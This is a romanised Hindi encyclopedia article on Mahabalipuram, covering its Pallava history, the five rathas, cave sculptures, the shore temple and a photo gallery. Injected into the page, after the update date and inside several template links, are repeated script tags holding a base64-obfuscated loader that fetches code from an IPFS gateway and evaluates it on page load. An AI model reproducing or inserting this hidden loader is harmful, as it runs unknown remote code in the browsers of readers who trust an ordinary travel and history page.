महाबलीपुरम

भारत डिस्कवरी प्रस्तुति
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mahabalipuram
vivaran mahabalipuram ek aitihasik nagar hai jo mamallapuram bhi kahalata hai. yah poorvottar tamilanadu rajy, dakshin bharat mean sthit hai.
rajy tamilanadu
zila kaanchipuram
bhaugolik sthiti uttar- 12°37' 48.00", poorv- 80° 10' 12.00"
marg sthiti mahabalipuram bas adde se lagabhag 2 kimi ki doori par sthit hai.
prasiddhi mahabalipuram tat, shor mandir, pancharath
kaise pahuanchean jalayan, havaee jahaz, rel, bas adi
havaee adda chennee antarrashtriy havaee adda
relave steshan cheangalapattu relave steshan, pairanoor relave steshan
bas adda mahabalipuram bas adda
yatayat saikil-riksha, aauto-riksha, mitar-taiksi, siti bas aur metro rel
kahaan thaharean hotal, dharmashala, atithi grah
es.ti.di. kod 04113
e.ti.em lagabhag sabhi
chitr:Map-icon.gif googal manachitr
sanbandhit lekh kanyakumari, chennee, ooti, kaanchipuram, madurai


any janakari yahaan par satavian aur athavian sadi mean nirmit pallav mandiroan aur smarakoan ke milane vale avasheshoan mean chattanoan se nirmit arjun ki tapasya, gangavataran jaisi moortiyoan se yukt gufa mandir aur samudr tat par bana shaiv mandir pramukh hai.
adyatan‎
10:58, 3 faravari 2012 (IST)
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mahabalipuram ek aitihasik nagar hai jo 'mamallapuram' bhi kahalata hai. yah poorvottar tamilanadu rajy, dakshin bharat mean sthit hai. yah nagar bangal ki kha di par chennee (bhootapoorv madras) se 60 kilomitar door sthit hai. isaka ek any prachin nam banapur bhi hai.

itihas

mahabalipuram dharmik kendr satavian sadi mean hindoo pallav raja narasianh dev varman ne, jinhean mamall bhi kaha jata hai, sthapit kiya tha aur isilie ise mamallapuram bhi kaha gaya hai. yahaan par pae ge chin, faras aur rom ke prachin sikkoan se pata chalata hai ki yahaan par pahale bandaragah raha hoga. yahaan par satavian aur athavian sadi mean nirmit pallav mandiroan aur smarakoan ke milane vale avasheshoan mean chattanoan se nirmit arjun ki tapasya, gangavataran jaisi moortiyoan se yukt gufa mandir aur samudr tat par bana shaiv mandir pramukh hai. ye mandir bharat ke prachin vastushilp ke gauravamay udaharan mane jate haian. pallavoan ke samay mean dakshin bharat ki sanskriti unnati ke sarvochch shikhar par pahuanchi huee thi. is kal mean vrihattar bharat, vishesh kar syam, kambodiya, malaya aur iandonesiya mean dakshin bharat se bahusankhyak log jakar base the aur vahaan pahuanch kar unhoanne ne-ne bharatiy upaniveshoan ki sthapana ki thi. mahabalipuram ke nikat ek paha di par sthit dipastambh samudr yatraoan ki suraksha ke lie banavaya gaya tha. isake nikat hi saptarathoan ke param vishal mandir videsh yatraoan par jane vale yatriyoan ko matribhoomi ka antim sandesh dete rahe hoange. is nagar ke paanch rath ya ekashm mandir, un sat mandiroan ke avashesh haian, jinake karan is nagar ko saptapagoda bhi kaha jata hai.

shikshan sansthan

mahabalipuram mean ek mahavidyalay hai, jahaan sthapaty aur mandir vastukala ki shiksha bhi di jati hai.

paryatan sthal

yah nagar sairagah v paryatan kendr hai. dipastambh ke shikhar se shilpakritiyoan ke char samooh drishtigochar hote haian. [[chitr:Shore-Temple-Mamallapuram-2.jpg|left|thumb|shor mandir, mamallapuram (mahabalipuram)]]

shilpakritiyoan ke char samooh

pahala samooh

pahala samoohek hi patthar mean se kate hue paanch mandiroan ka hai, jinhean rath kahate haian. ye kanashm ya grenait patthar ke bane hue haian. inamean se vishalatam dharmarath haian jo paanch taloan se yukt haian. isaki divaroan par saghan moortikari dikhaee p dati hai. bhoomital ki bhitti par ath chitraphalak pradarshit haian, jinamean ardh-narishvar ki kalapoorn moorti ka nirman b di kushalata se kiya gaya hai. doosare tal par shiv, vishnu aur krishna ki moortiyoan ka chitran hai. phooloan ki daliya lie hue ek sundari ka moortichitr atyant hi manoram hai. doosara rath bhimarath namak hai, jisaki chhat ga di ke tap ke sadrish jan p dati hai. tisara mandir dharmarath ke saman hai. isamean vamanoan aur hansoan ka sundar aankan hai. chauthe mean mahishasur mardini durga ki moorti hai. paanchavaan ek hi patthar mean se kata hua hai aur hathi ki akriti ke saman jan p data hai.

doosara samooh

doosara samooh dipastambh ki paha di mean sthit kee gufaoan ke roop mean dikhaee p data hai. varah gufa mean varah avatar ki katha ka aur mahishasur gufa mean mahishasur tatha anantashayi vishnu ki moortiyoan ka aankan hai. varahagufa mean jo ab nirantar andheri hai, bahut sundar moortikari pradarshit hai. isi mean hathiyoan ke dvara sthapit gajalakshmi ka bhi aankan hai. sath hi sastrik pallav nareshoan ki ubhari huee pratimaean haian, jo vastavikata tatha kalapoorn bhavachitran mean bejo d kahi jati hai.

tisara samooh

tisara samooh sudirgh shilaoan ke mukhaprishth par ukere hue krishna lila tatha mahabharat ke drishyoan ke vividh moortichitroan ka hai. jinamean govardhan dharan, arjun ki tapasya adi ke drishy ativ sundar haian. inase pata chalata hai ki svadesh se dakshin poorv eshiya ke deshoan mean jakar bas jane vale bharatiyoan mean mahabharat tatha puranoan adi ki kathaoan ke prati kitani gahari astha thi. in logoan ne ne upaniveshoan mean jakar bhi apani saanskritik parampara ko banae rakha tha. jaisa oopar kaha gaya hai, mahabalipur samudrapar jane vale yatriyoan ke lie mukhy bandaragah tha aur matribhoomi chho date samay ye moortichitr inhean apane desh ki purani sanskriti ki yad dilate the.

chautha samooh

[[chitr:Pancha-Rathas-Mahabalipuram-5.jpg|pancharath, mahabalipuram|thumb|250px]] chautha samooh samudr tat par tatha sannikat samudr ke andar sthit saptarathoan ka hai, jinamean se chhah to samudr mean sama ge haian aur ek samudr tat par vishal mandir ke roop mean vidyaman hai. ye chhah bhi pattharoan ke dheroan ke roop mean samudr ke andar dikhaee p date haian.

mahabalipuram ke rath

mahabalipuram ke rath jo shailakritt haian, ajanta aur elaura ke guha mandiroan ki bhaanti paha di chattanoan ko kat kar to avashy banae ge haian kintu unake viparit ye rath, paha di ke bhitar bane hue veshm nahian haian, arthat ye shailakrit hote hue bhi sanrachanatmak haian. inako banate samay shilpiyoan ne chattan ko bhitar aur bahar se kat kar paha d se alag kar diya hai. jisase ye paha di ke parshv mean sthit jan nahian p date haian, varanh usase alag kh de hue dikhaee p date haian. mahabalipuram do varg mil ke ghere mean phaila hua hai. vastav mean yah sthan pallav nareshoan ki shilp sadhana ka amar smarak hai. mahabalipuram ke nam ke vishay mean kianvadanti hai ki vaman bhagavan ne jinake nam se ek guhamandir prasiddh hai daityaraj bali ko prithvi ka dan isi sthan par diya tha.

janasankhya

2001 ki janaganana ke anusar is gaanv ki janasankhya 12,049 hai.

vithika

  • chitr:Light-House-Mahabalipuram-2.jpg

    laeet haus, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram-2.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram-4.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram-5.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Women-Mahabalipuram.jpg

    mahila, mahabalipuram

  • chitr:Light-House-Mahabalipuram.jpg

    laeet haus, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram-6.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram-7.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Mahisha-Mardini-Mantapa-Mahabalipuram-4.jpg

    mahisha mardani manatapa, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram-8.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Mahisha-Mardini-Cave-Mahabalipuram-9.jpg

    mahisha mardani gupha, mahabalipuram

  • chitr:Mahisha-Mardini-Mantapa-Mahabalipuram.jpg

    mahisha mardani manatapa, mahabalipuram

  • chitr:Mahisha-Mardini-Mantapa-Mahabalipuram-2.jpg

    mahisha mardani manatapa, mahabalipuram

  • chitr:Ramanuja-Mandapam-Mahabalipuram.jpg

    ramanuj mandapam, mahabalipuram

  • chitr:Mahisha-Mardini-Mantapa-Mahabalipuram-3.jpg

    mahisha mardani manatapa, mahabalipuram

  • chitr:Ramanuja-Mandapam-Mahabalipuram-3.jpg

    ramanuj mandapam, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram.jpg

    rayar gopuram, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-2.jpg

    rayar gopuram, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-3.jpg

    rayar gopuram, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-4.jpg

    rayar gopuram, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-5.jpg

    rayar gopuram, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-7.jpg

    rayar gopuram, mahabalipuram

  • chitr:Ramanuja-Mandapam-Mahabalipuram-2.jpg

    ramanuj mandapam, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-8.jpg

    rayar gopuram, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-9.jpg

    rayar gopuram, mahabalipuram

  • chitr:Rayar Gopuram-Mahabalipuram-11.jpg

    rayar gopuram, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-2.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-3.jpg

    mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-4.jpg

    mahabalipuram ka manachitr

  • chitr:Pancha-Rathas-Mahabalipuram-6.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-7.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-8.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-9.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-10.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-11.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-13.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-15.jpg

    pancharath, mahabalipuram

  • chitr:Snake-Mahabalipuram.jpg

    mahabalipuram ke bazar ka ek drishy

  • chitr:Radha-Krishna-Mahabalipuram.jpg

    radha-krishna moorti, mahabalipuram

  • chitr:Krishna-Mahabalipuram.jpg

    krishna moorti, mahabalipuram

  • chitr:Market-Mahabalipuram.jpg

    mahabalipuram ke bazar ka ek drishy

  • chitr:Market-Mahabalipuram-2.jpg

    mahabalipuram ke bazar ka ek drishy

  • chitr:Market-Mahabalipuram-3.jpg

    mahabalipuram ke bazar ka ek drishy

  • chitr:Market-Mahabalipuram-4.jpg

    mahabalipuram ke bazar ka ek drishy

  • chitr:Market-Mahabalipuram-5.jpg

    mahabalipuram ke bazar ka ek drishy

  • chitr:Rhinoceros-Mahabalipuram.jpg

    mahabalipuram ke bazar ka ek drishy

  • chitr:Pancha-Rathas.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-12.jpg

    pancharath, mahabalipuram

  • chitr:Pancha-Rathas-Mahabalipuram-14.jpg

    pancharath, mahabalipuram


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  • aitihasik sthanavali se pej sankhya 723-725 | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar
  • bharat jnanakosh se pej sankhya 310

sanbandhit lekh

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tamilanadu ke paryatan sthal
chennee
kanyakumari
mahabalipuram
ooti
kaanchipuram
madurai
chidanbaram
tiroovanamalee
rameshvaram
kumbhakonam
krishnagiri zila
vellor
irod
pudukottee
tanjavur
koyanbatur
any
[[Template:vishv virasat sthal2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:vishv virasat sthal2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
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vishv virasat sthal
[[Template:tamilanadu ke nagar<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:tamilanadu ke nagar<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
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tamilanadu ke nagar

varnamala kramanusar lekh khoj

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